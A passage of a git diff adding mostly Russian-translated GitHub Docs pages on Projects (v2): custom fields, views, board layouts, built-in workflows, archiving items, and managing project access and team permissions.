щелкните раскрывающийся список и выберите единицы измерения: **дни** или **недели**. + ![Снимок экрана: длительность итерации](/assets/images/help/projects-v2/iteration-field-duration.png) +4. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/new-field-save-and-create.png) + +## Создание поля для отслеживания приоритета + +Теперь создайте настраиваемое поле с именем `Priority`, содержащее значения: `High`, `Medium` или `Low`. + +{% data reusables.projects.new-field %} +1. Выбор **Одиночный выбор** + ![Снимок экрана: параметры "Одиночный выбор"](/assets/images/help/projects-v2/new-field-single-select.png) +1. Под полем "Параметры" введите первый параметр — "Высокий". + ![Снимок экрана: параметр "Одиночный выбор"](/assets/images/help/projects-v2/priority-example.png) +1. Чтобы добавить дополнительные поля, для параметров "Средний" и "Низкий" нажмите **Добавить параметр**. +1. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/new-field-save.png) + +Укажите приоритет для всех проблем в проекте. + +![Примеры приоритетов](/assets/images/help/projects/priority_example.png) + +## Группирование проблем по приоритету + +Затем сгруппируйте все элементы проекта по приоритетам, чтобы упростить обзор элементов с высоким приоритетом. + +{% data reusables.projects.open-view-menu %} +1. Щелкните {% octicon "rows" aria-label="the rows icon" %} **Группировать**. + ![Снимок экрана: пункт меню "Группировать"](/assets/images/help/projects-v2/group-menu-item.png) +1. Нажмите **Приоритет**. + ![Снимок экрана: меню "Группировать"](/assets/images/help/projects-v2/group-menu.png) + +Чтобы изменить приоритет проблемы, переместите ее в другую группу. + +1. Выберите проблему. +2. Перетащите ее в другую группу приоритета. При этом приоритет проблемы изменится в соответствии с новой группой. + +![Перемещение проблемы между группами](/assets/images/help/projects/move_between_group.gif) + +## Сохранение представления приоритета + +Когда вы на предыдущем шаге сгруппировали проблемы по приоритету, в проекте отобразился индикатор, наличия изменений в представлении. Сохраните эти изменения, чтобы все участники совместной работы видели задачи, сгруппированные по приоритету. + +{% data reusables.projects.save-view %} + +Вы можете передать этот URL-адрес другим сотрудникам, чтобы все были в курсе приоритетов по проекту. + +После сохранения представления его будет видеть каждый, кто открывает этот проект. В нашем упражнении вы выполнили группировку по приоритетам, но здесь можно добавить и другие модификаторы, такие как сортировка, фильтр или макет. Теперь вы создадите новое представление с измененным макетом. + +## Добавление макета доски + +Чтобы проверить ход выполнения проблем по проекту, переключитесь на макет доски. + +Макет доски основан на поле состояния, поэтому для каждой проблемы в проекте нужно указать состояние. + +![Пример состояния](/assets/images/help/projects/status_example.png) + +Теперь создайте новое представление. + +{% data reusables.projects.new-view %} + +Затем перейдите к макету доски. + +{% data reusables.projects.open-view-menu %} +1. В разделе "Макет" щелкните **Доска**. + ![Снимок экрана: параметр "Макет"](/assets/images/help/projects-v2/table-or-board.png) + +![Примеры приоритетов](/assets/images/help/projects/example_board.png) + +Когда вы изменили макет, в проекте отобразился индикатор наличия изменений в представлении. Сохраните это представление, чтобы вы и ваши коллеги могли легко открывать его в будущем. + +{% data reusables.projects.save-view %} + +Чтобы указать назначение представления, присвойте ему описательное имя. + +{% data reusables.projects.open-view-menu %} +1. Щелкните {% octicon "pencil" aria-label="the pencil icon" %} **Переименовать представление**. + ![Снимок экрана: пункт меню "Переименовать"](/assets/images/help/projects-v2/rename-view.png) +1. Введите новое имя представления. +1. Чтобы сохранить изменения, нажмите <kbd>Возврат</kbd>. + +![Примеры приоритетов](/assets/images/help/projects/project-view-switch.gif) + +## Настройка встроенной автоматизации + +Наконец, добавьте встроенный рабочий процесс, чтобы задать состояние **Todo** всем элементам, добавляемым в проект. + +1. В правом верхнем углу щелкните {% octicon "kebab-horizontal" aria-label="The menu icon" %}, чтобы открыть меню. + ![Снимок экрана: значок меню](/assets/images/help/projects-v2/open-menu.png) +1. В меню щелкните {% octicon "workflow" aria-label="The workflow icon" %} **Рабочие процессы**. + ![Снимок экрана: пункт меню "Рабочие процессы"](/assets/images/help/projects-v2/workflows-menu-item.png) +1. В разделе **Рабочие процессы по умолчанию** щелкните **Элемент, добавленный в проект**. + ![Снимок экрана: рабочие процессы по умолчанию](/assets/images/help/projects-v2/default-workflows.png) +1. Рядом с пунктом **Когда** должны быть выбраны элементы `issues` и `pull requests`. + ![Снимок экрана: конфигурация "Когда" для рабочего процесса](/assets/images/help/projects-v2/workflow-when.png) +1. Рядом с пунктом **Задать** выберите **Состояние:Todo**. + ![Снимок экрана: конфигурация "Задать" для рабочего процесса](/assets/images/help/projects-v2/workflow-set.png) +1. Щелкните переключатель **Отключено**, чтобы включить этот рабочий процесс. + ![Снимок экрана: элемент управления "Включить" для рабочего процесса](/assets/images/help/projects-v2/workflow-enable.png) + +## Дополнительные материалы + +- [Добавление элементов в проект](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project) +- [Настройка представления](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md new file mode 100644 index 000000000000..25daa921880e --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md @@ -0,0 +1,86 @@ +--- +title: 'Adding items to your {% data variables.projects.project_v2 %}' +shortTitle: Adding items +intro: 'Learn how to add pull requests, issues, and draft issues to your projects individually or in bulk.' +miniTocMaxHeadingLevel: 4 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +--- + +Your project can track draft issues, issues, and pull requests. + +{% note %} + +**Note:** A project can contain a maximum of {% data variables.projects.item_limit %} items and {% data variables.projects.archived_item_limit %} archived items. {% ifversion projects-v2-auto-archive %}To learn more about automatically archiving items when they meet specific criteria, see "[Archiving items automatically](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically)."{% endif %} + +{% endnote %} + +### Adding issues and pull requests to a project + +#### Pasting the URL of an issue or pull request + +{% data reusables.projects.add-item-via-paste %} + +#### Searching for an issue or pull request + +{% data reusables.projects.add-item-bottom-row %} +2. Enter <kbd>#</kbd>. +3. Select the repository where the pull request or issue is located. You can type part of the repository name to narrow down your options. + ![Screenshot showing pasting an issue URL to add it to the project](/assets/images/help/projects-v2/add-item-select-repo.png) +4. Select the issue or pull request. You can type part of the title to narrow down your options. + ![Screenshot showing pasting an issue URL to add it to the project](/assets/images/help/projects-v2/add-item-select-issue.png) + +#### Bulk adding issues and pull requests + +1. In the bottom row of the project, click {% octicon "plus" aria-label="plus icon" %}. + ![Screenshot showing + button at the bottom of the project](/assets/images/help/projects-v2/omnibar-add.png) +1. Click **Add item from repository**. + ![Screenshot showing "add item from repository" menu item](/assets/images/help/projects-v2/add-bulk-menu-item.png) +{% data reusables.projects.bulk-add %} + +#### Adding multiple issues or pull requests from a repository + +1. On {% data variables.location.product_location %}, navigate to the repository that contains the issues or pull requests you want to add to your project. +{% data reusables.repositories.sidebar-issue-pr %} +1. To the left of each issue title, select the issues that you want to add to your project. + ![Screenshot showing checkbox to select issue or pull request](/assets/images/help/issues/select-issue-checkbox.png) +1. Optionally, to select every issue or pull request on the page, at the top of the list of issues or pull requests, select all. + ![Screenshot showing checkbox to select all on screen](/assets/images/help/issues/select-all-checkbox.png) +1. Above the list of issues or pull requests, click **Projects**. + ![Screenshot showing projects option](/assets/images/help/projects-v2/issue-index-project-menu.png) +1. Click the projects you want to add the selected issues or pull requests to. + ![Screenshot showing checkbox to select all on screen](/assets/images/help/projects-v2/issue-index-select-project.png) + +#### Assigning a project from within an issue or pull request + +1. Navigate to the issue or pull request that you want to add to a project. +2. In the side bar, click **Projects**. + ![Screenshot showing "Projects" in the issue sidebar](/assets/images/help/projects-v2/issue-sidebar-projects.png) +3. Select the project that you want to add the issue or pull request to. + ![Screenshot showing selecting a project from the issue sidebar](/assets/images/help/projects-v2/issue-sidebar-select-project.png) +4. Optionally, populate the custom fields. + ![Project sidebar](/assets/images/help/projects-v2/issue-edit-project-sidebar.png) + +#### Using the command palette to add an issue or pull request + +1. {% data reusables.projects.open-command-palette %} +1. Start typing "Add items" and press <kbd>Return</kbd>. +{% data reusables.projects.bulk-add %} + +### Creating draft issues + +Draft issues are useful to quickly capture ideas. Unlike issues and pull requests that are referenced from your repositories, draft issues exist only in your project. + +{% data reusables.projects.add-draft-issue %} + +Draft issues can have a title, text body, assignees, and any custom fields from your project. In order to populate the repository, labels, or milestones for a draft issue, you must first convert the draft issue to an issue. For more information, see "[Converting draft issues to issues](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues)." + +{% note %} + +**Note**: Users will not receive notifications when they are assigned to or mentioned in a draft issue unless the draft issue is converted to an issue. + +{% endnote %} diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md new file mode 100644 index 000000000000..dfe0ae28f32d --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md @@ -0,0 +1,51 @@ +--- +title: 'Архивирование элементов из {% data variables.projects.project_v2 %}' +shortTitle: Archiving items +intro: 'Вы можете архивировать элементы, чтобы их потом можно было восстановить, или окончательно удалять их.' +miniTocMaxHeadingLevel: 2 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 2348805c920e456e2b8388c2ac41d4badd757703 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107720' +--- +## Архивирование элементов + +Элемент можно архивировать, чтобы сохранить контекст его выполнения в проекте, но удалить из представлений проекта. {% ifversion projects-v2-auto-archive %} Вы также можете настроить встроенные рабочие процессы проекта для автоматического архивирования элементов, соответствующих определенным критериям. Дополнительные сведения см. в разделе "[Архивация элементов автоматически](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically)". {% endif %} + +{% data reusables.projects.select-an-item %} {% data reusables.projects.open-item-menu %} +1. Нажмите кнопку **Архивировать**. + ![Снимок экрана: параметр "Архивировать"](/assets/images/help/projects-v2/archive-menu-item.png) +1. При появлении запроса подтвердите свой выбор, нажав кнопку **Архивировать**. + ![Снимок экрана: запрос на архивирование](/assets/images/help/projects-v2/archive-item-prompt.png) + +## Восстановление архивированных элементов + +1. Перейдите к своему проекту +1. В правом верхнем углу щелкните {% octicon "kebab-horizontal" aria-label="The menu icon" %}, чтобы открыть меню. + ![Снимок экрана: значок меню](/assets/images/help/projects-v2/open-menu.png) +1. В меню щелкните {% octicon "archive" aria-label="The archive icon" %} **Архивированные элементы**. + ![Снимок экрана: пункт меню "Архивированные элементы"](/assets/images/help/projects-v2/archived-items-menu-item.png) +1. При необходимости можно отфильтровать отображаемые архивированные элементы, для этого введите фильтр в текстовое поле над списком элементов. Дополнительные сведения о доступных фильтрах см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). + ![Снимок экрана: поле фильтрации архивированных элементов](/assets/images/help/issues/filter-archived-items.png) +1. Выберите элементы, которые хотите восстановить, щелкнув поле слева от их названий. + ![Снимок экрана: флажки рядом с архивированными элементами](/assets/images/help/issues/select-archived-item.png) +1. Чтобы восстановить выбранные элементы, щелкните **Восстановить** над списком элементов. + ![Снимок экрана: кнопка "Восстановить"](/assets/images/help/issues/restore-archived-item-button.png) + +## Удаление элементов + +Также можно полностью удалить элемент из проекта. + +{% data reusables.projects.select-an-item %} {% data reusables.projects.open-item-menu %} +1. Нажмите **Удалить из проекта**. + ![Снимок экрана: кнопка "Удалить"](/assets/images/help/projects-v2/delete-menu-item.png) +1. При появлении запроса подтвердите свой выбор, нажав кнопку **Удалить**. + ![Снимок экрана: запрос на удаление](/assets/images/help/projects-v2/delete-item-prompt.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md new file mode 100644 index 000000000000..18e4e37c9677 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md @@ -0,0 +1,38 @@ +--- +title: Преобразование черновиков в проблемы +shortTitle: Converting draft issues +intro: 'Узнайте, как преобразовывать черновики проблем в проблемы.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +ms.openlocfilehash: 6c956f5453941bdd6b9fbe89191737b1b7f59cec +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109021' +--- +## Преобразование черновика проблемы в табличный макет + +1. Щелкните {% octicon "triangle-down" aria-label="the item menu" %} в черновике проблемы, который хотите преобразовать. + ![Снимок экрана: кнопка меню элементов](/assets/images/help/projects-v2/item-context-menu-button-table.png) +2. Выберите **Преобразовать в проблему**. + ![Снимок экрана: параметр "Преобразовать в проблему"](/assets/images/help/projects-v2/item-convert-to-issue.png) +3. Выберите репозиторий, в который хотите добавить проблему. + ![Снимок экрана: выбор репозитория](/assets/images/help/projects-v2/convert-to-issue-select-repo.png) + +## Преобразование черновика проблемы в макет доски + +1. Щелкните {% octicon "kebab-horizontal" aria-label="the item menu" %} в черновике проблемы, которую хотите преобразовать. + ![Снимок экрана: кнопка меню элементов](/assets/images/help/projects-v2/item-context-menu-button-board.png) +2. Выберите **Преобразовать в проблему**. + ![Снимок экрана: параметр "Преобразовать в проблему"](/assets/images/help/projects-v2/item-convert-to-issue.png) +3. Выберите репозиторий, в который хотите добавить проблему. + ![Снимок экрана: выбор репозитория](/assets/images/help/projects-v2/convert-to-issue-select-repo.png) + +## Дополнительные материалы + +- [Создание черновиков проблем](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project#creating-draft-issues) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md new file mode 100644 index 000000000000..803a79d44e88 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md @@ -0,0 +1,22 @@ +--- +title: 'Управление элементами в {% data variables.projects.project_v2 %}' +shortTitle: 'Managing items in your {% data variables.projects.project_v2 %}' +intro: 'Узнайте, как добавлять и администрировать проблемы, запросы на вытягивание и черновики.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /adding-items-to-your-project + - /converting-draft-issues-to-issues + - /archiving-items-from-your-project +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 99f64d6e5f4d9cb39771f1ef9f0fae42c36a8cb7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110070' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md new file mode 100644 index 000000000000..24d5574c097b --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md @@ -0,0 +1,31 @@ +--- +title: 'Добавление {% data variables.projects.project_v2 %} в репозиторий' +shortTitle: 'Adding a {% data variables.projects.project_v2 %} to a repo' +intro: 'Вы можете добавить {% data variables.projects.project_v2 %} в репозиторий, чтобы сделать его доступным из этого репозитория.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 30486f727a04ccea3b5bfd374a4da3c6367d1cb6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110067' +--- +В репозитории можно отображать необходимые проекты. Можно вывести только те проекты, владельцы которых являются владельцами репозитория. + +Чтобы участники репозитория могли увидеть проект, для них должна быть настроена видимость. Дополнительные сведения см. в разделе [Управление видимостью {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects) и [Управление доступом к {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects). + +1. На портале {% data variables.product.prodname_dotcom %} перейдите на главную страницу своего репозитория. +1. Щелкните {% octicon "table" aria-label="the project icon" %} **Проекты**. + ![Снимок экрана: вкладка "Проекты" в репозитории](/assets/images/help/projects-v2/repo-tab.png) +1. Щелкните **Добавить проект**. + ![Снимок экрана: кнопка "Добавить проект"](/assets/images/help/projects-v2/add-to-repo-button.png) +1. На появившейся панели поиска найдите проекты, владельцы которых являются владельцами репозитория. + ![Снимок экрана: поиск проекта](/assets/images/help/projects-v2/add-to-repo-search.png) +1. Щелкните проект, чтобы вывести его в репозитории. + ![Снимок экрана: кнопка "Добавить проект"](/assets/images/help/projects-v2/add-to-repo.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md new file mode 100644 index 000000000000..d8a141073fa0 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md @@ -0,0 +1,66 @@ +--- +title: 'Добавление {% data variables.projects.project_v2 %} в команду' +shortTitle: 'Adding a {% data variables.projects.project_v2 %} to a team' +intro: Вы можете добавлять проекты в команды для управления разрешениями и улучшения возможности обнаружения проектов. +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2-add-to-team +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +permissions: Organization owners or people with the team maintainer role and admin permissions on a project can add a project to a team. +ms.openlocfilehash: 21e0944c95949aedf9a0039ef7b576b8840635b1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108800' +--- +## Сведения о добавлении проектов в команды + +Вы можете добавить проекты в команду, чтобы предоставить всем участникам совместной работы доступ к своим проектам. При добавлении проекта в команду он отображается на странице проектов команды, что упрощает для участников определение проектов, которые использует определенная команда. + +Командам предоставляются разрешения на чтение для любого проекта, в который они добавляются. Это разрешение добавляется к существующим разрешениям для проекта и отдельных участников группы, обеспечивая сохранение любых более высоких разрешений. Дополнительные сведения о настройке разрешений для команд и отдельных участников см. в разделе [Управление доступом к проектам](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects). + +## Добавление проекта в команду + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} +1. Щелкните {% octicon "project" aria-label="The Projects icon" %} **Проекты**. + + ![Снимок экрана: вкладка "Командные проекты".](/assets/images/help/organizations/team-project-board-button.png) + +1. Щелкните **Добавить проект**. + + ![Снимок экрана: кнопка "Добавить проект".](/assets/images/help/organizations/team-project-add-project.png) + +1. Начните вводить имя проекта, который вы хотите добавить, а затем выберите проект в списке совпадений. + + {% note %} + + **Примечание:** Если это изменение приведет к увеличению разрешений проекта для участников команды, {% data variables.product.product_name %} предложит подтвердить выбор. + + {% endnote %} + + ![Снимок экрана: форма "Добавить проект".](/assets/images/help/organizations/team-project-search.png) + + +## Удаление проекта из команды + +{% data reusables.projects.project-settings %} +1. Щелкните **Управление доступом**. + + ![Снимок экрана: пункт "Управление доступом"](/assets/images/help/projects-v2/manage-access.png) + +1. Рядом с командой, которую вы хотите удалить из проекта, нажмите кнопку **Удалить**. + + ![Снимок экрана: удаление участника совместной работы](/assets/images/help/projects-v2/access-remove-member.png) + + +{% ifversion projects-v1 %} + +## Дополнительные материалы + +- [Управление доступом команды к организации {% data variables.product.prodname_project_v1 %}](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board) + +{% endif %} diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md new file mode 100644 index 000000000000..4bd6150c0a60 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md @@ -0,0 +1,50 @@ +--- +title: 'Закрытие и удаление {% data variables.projects.projects_v2 %}' +shortTitle: 'Closing and deleting {% data variables.projects.projects_v2 %}' +intro: 'Сведения о закрытии, повторном открытии и окончательном удалении {% data variables.projects.project_v2 %}.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/managing-projects +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: cfd4db85e8bd046e667b108c5c8d8c23102e0d29 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110066' +--- +## Удаление проекта + +Проект можно удалить без возможности восстановления. + +{% data reusables.projects.project-settings %} +1. В нижней части страницы нажмите кнопку **Удалить этот проект**. + ![Снимок экрана: кнопка удаления проекта](/assets/images/help/issues/delete-project-button.png) +1. Ознакомьтесь с предупреждениями, а затем введите имя проекта в текстовое поле. + ![Снимок экрана: подтверждение удаления проекта](/assets/images/help/issues/project-delete-confirm.png) +1. Нажмите **Я понимаю последствия, удалить этот проект**. + +## Закрытие проекта + +Вы можете закрыть проект, чтобы удалить его из списка проектов, но сохранить содержимое и возможность повторно открыть проект позже. + +{% data reusables.projects.project-settings %} +1. В нижней части страницы нажмите кнопку **Закрыть этот проект**. + ![Снимок экрана: кнопка закрытия проекта](/assets/images/help/issues/close-project-button.png) + +## Повторное открытие проекта организации + +Вы можете повторно открыть ранее закрытый проект. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.projects.reopen-a-project %} + +## Повторное открытие проекта пользователя + +Вы можете повторно открыть ранее закрытый проект. + +{% data reusables.profile.access_profile %} {% data reusables.projects.reopen-a-project %} diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md new file mode 100644 index 000000000000..1250cd1a3cae --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/index.md @@ -0,0 +1,23 @@ +--- +title: 'Управление {% data variables.projects.project_v2 %}' +intro: 'Узнайте, как управлять проектами и управлять видимостью и доступом.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /managing-visibility-of-your-projects + - /managing-access-to-your-projects + - /closing-and-deleting-your-projects + - /adding-your-project-to-a-repository + - /adding-your-project-to-a-team +allowTitleToDifferFromFilename: true +ms.openlocfilehash: c7dd1657bae11e0f43895e946b5e20a209666363 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109016' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md new file mode 100644 index 000000000000..51c7c8f81ff6 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects.md @@ -0,0 +1,121 @@ +--- +title: 'Управление доступом к {% data variables.projects.projects_v2 %}' +shortTitle: 'Managing {% data variables.projects.project_v2 %} access' +intro: 'Узнайте, как управлять доступом команды и отдельных пользователей к {% data variables.projects.project_v2 %}.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/managing-access-to-projects +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 9c414ab3bfbbd9bbf488a73e5dd2600458074914 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109263' +--- +## Сведения о доступе к проекту + +Администраторы проектов уровня организации могут управлять доступом для всей организации, для команд, для отдельных участников организации, а также для внешних участников совместной работы. + +Администраторы проектов уровня пользователя могут приглашать отдельных участников совместной работы и управлять их доступом. + +Администраторы проектов также могут управлять видимостью своих проектов для всех пользователей в Интернете. Дополнительные сведения см. в разделе [Управление видимостью проектов](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects). + +## Управление доступом для проектов уровня организации + +### Управление доступом для всех пользователей организации + +По умолчанию устанавливается базовая роль `write`, при которой просматривать и редактировать проект может любой пользователь организации. Чтобы изменить права доступа к проекту для всех пользователей организации, можно изменить базовую роль. Изменения в базовой роли распространяются только на участников организации, которые не являются ее владельцами и которым не предоставлен индивидуальный доступ. + +{% data reusables.projects.project-settings %} +1. Щелкните **Управление доступом**. + ![Снимок экрана: пункт "Управление доступом"](/assets/images/help/projects-v2/manage-access.png) +2. В разделе **Базовая роль** выберите роль по умолчанию. + ![Снимок экрана: меню базовой роли](/assets/images/help/projects-v2/base-role.png) + - **Нет доступа**. Просматривать проект могут только владельцы организации и те пользователи, которым предоставлен индивидуальный доступ. Владельцы организации также являются администраторами проекта. + - **Чтение**. Все пользователи организации могут просматривать проект. Владельцы организации также являются администраторами проекта. + - **Запись**. Все пользователи организации могут просматривать и редактировать проект. Владельцы организации также являются администраторами проекта. + - **Администратор**. Все пользователи организации являются администраторами проекта. + +### Управление доступом для команд и отдельных участников организации + +Вы также можете добавлять команды, внешних участников совместной работы и отдельных участников организации в качестве участников совместной работы для проекта уровня организации. Дополнительные сведения см. в статье "[Сведения о командах](/organizations/organizing-members-into-teams/about-teams)". + +{% ifversion projects-v2-add-to-team %} + +Если вы предоставляете команде разрешения на чтение или больше для проекта, проект также отображается на странице проектов команды. Вы также можете добавить проекты в команду на странице проектов команды. Дополнительные сведения см. в разделе [Добавление проекта в команду](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team). + +{% endif %} + +Вы можете пригласить отдельного пользователя для совместной работы над проектом уровня организации, только если он уже является участником организации или внешним участником совместной работы хотя бы в одном репозитории организации. + +{% data reusables.projects.project-settings %} +1. Щелкните **Управление доступом**. + ![Снимок экрана: пункт "Управление доступом"](/assets/images/help/projects-v2/manage-access.png) +2. В разделе **Пригласить участников совместной работы** найдите команду или отдельного пользователя, которого требуется пригласить. + ![Снимок экрана: поиск участника совместной работы](/assets/images/help/projects-v2/access-search.png) +3. Выберите роль для участника совместной работы. + ![Снимок экрана: выбор роли](/assets/images/help/projects-v2/access-role.png) + - **Чтение**. Участники команды или отдельные пользователи могут просматривать проект. + - **Запись**. Участники команды или отдельные пользователи могут просматривать и редактировать проект. + - **Администратор**. Участники команды или отдельные пользователи могут просматривать и редактировать проект, а также добавлять в него новых участников совместной работы. +4. Нажмите кнопку **Пригласить**. + ![Снимок экрана: кнопка "Пригласить"](/assets/images/help/projects-v2/access-invite.png) + +### Управление доступом для существующего участника совместной работы в проекте + +{% data reusables.projects.project-settings %} +1. Щелкните **Управление доступом**. + ![Снимок экрана: пункт "Управление доступом"](/assets/images/help/projects-v2/manage-access.png) +1. В разделе **Управление доступом** найдите участников совместной работы, для которых требуется изменить разрешения. + + Вы можете отфильтровать список доступа с помощью раскрывающихся меню **Тип** и **Роль**. + ![Снимок экрана: участник совместной работы](/assets/images/help/projects-v2/access-find-member.png) + +1. Измените роль для участника совместной работы. + ![Снимок экрана: изменение роли участника совместной работы](/assets/images/help/projects-v2/access-change-role.png) +1. При необходимости нажмите кнопку **Удалить**, чтобы удалить участников совместной работы. + ![Снимок экрана: удаление участника совместной работы](/assets/images/help/projects-v2/access-remove-member.png) + +## Управление доступом для проектов уровня пользователя + +### Предоставление доступа к проекту участникам совместной работы + +{% note %} + +Это распространяется только на участников совместной работы для проекта, а не для репозиториев в проекте. Для просмотра отдельных элементов в проекте у пользователя должны быть необходимые разрешения в отношении репозитория, к которому относится тот или иной элемент. Если проект содержит элементы из частного репозитория, пользователи, которые не являются участниками совместной работы в этом репозитории, не смогут просматривать элементы из этого репозитория. Дополнительные сведения см. в разделах [Настройка видимости репозитория](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) и [Управление командами и пользователями с доступом к репозиторию](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). + +{% endnote %} + +{% data reusables.projects.project-settings %} +1. Щелкните **Управление доступом**. + ![Снимок экрана: пункт "Управление доступом"](/assets/images/help/projects-v2/manage-access.png) +2. В разделе **Пригласить участников совместной работы** найдите пользователя, которого требуется пригласить. + ![Снимок экрана: поиск участника совместной работы](/assets/images/help/projects-v2/access-search.png) +3. Выберите роль для участника совместной работы. + ![Снимок экрана: выбор роли](/assets/images/help/projects-v2/access-role.png) + - **Чтение**. Пользователь может просматривать проект. + - **Запись**. Пользователь может просматривать и редактировать проект. + - 